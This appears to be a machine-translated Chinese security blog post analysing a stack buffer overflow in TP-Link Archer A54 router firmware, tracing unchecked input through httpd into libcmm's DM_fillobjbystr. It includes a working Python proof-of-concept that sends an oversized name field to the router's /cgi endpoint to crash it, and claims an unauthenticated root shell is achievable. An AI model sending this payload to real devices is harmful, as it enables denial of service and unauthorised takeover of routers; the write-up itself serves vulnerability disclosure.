点击上方蓝字“Ots安全”一起玩
概述
-
国内漏洞库地址:https ://www.cnvd.org.cn/
-
厂商网站信息:https://www.tp-link.com/us/
-
固件下载地址:https ://www.tp-link.com/us/support/download/
-
厂商安全反馈地址:https://www.tp-link.com/us/press/security-advisory/
1. 受影响的版本
图1 官网最新固件
2.漏洞详情
栈溢出漏洞的主要原因是在 libcmm 所以库函数 DM_fillobjbystr() 中,该函数会处理前端返回的 key = value 的值。下面以修改httpd密码为例介绍该漏洞的传播路径。Httpd 程序在接收到 oldpwd、PWD 和 name 时不检查长度。使用 sprintf 拼接这些变量后,第一个传播函数是 RDP_setObj()。
图2 漏洞传播位置1
这个函数称为 RDP_setobj() 调用 DM_Fillobjbystr() 函数进行下一步。
图3 漏洞传播位置2
然后在 DM_Fillobjbystr() 中直接调用 strncpy 将输入内容复制到局部变量 V26 中。如图7所示,变量大小为1304,可以溢出;同时,如图6所示,strncpy的拷贝长度为’=’和’n’之间的字符长度,不做限制也不勾选。所以拷贝长度是可控的,这个位置存在栈溢出漏洞。这里的第二个红框是测试崩溃的位置。
图4 溢出位置和崩溃位置
图5 可控拷贝长度
图6 局部变量溢出大小
3. 反复出现的漏洞和 POC
为了重现漏洞,可以遵循以下步骤:
-
使用胖仿真固件archer_A54v1_US_0.9.1_0.2_up_boot[210111-rel37983]。斌
-
使用以下 POC 攻击进行攻击
import requests
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "text/plain",
"Content-Length": "78",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/"
}
payload = "a" * 2048
formdata = "[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3rnname={}rnoldPwd=adminrnpwd=lys123rn".format(payload)
url = "http://192.168.0.1/cgi?8"
response = requests.post(url, data=formdata, headers=headers)
print response.text
复现结果如下:
图 7 POC 攻击效果
最后可以写exp,可以达到很稳定的获取root shell的效果,不需要任何密码登录访问路由器。这是一个未经授权的 rce 漏洞。(如下图,没有网页登录)
原文始发于微信公众号(Ots安全):TP-Link Archer A54 堆栈溢出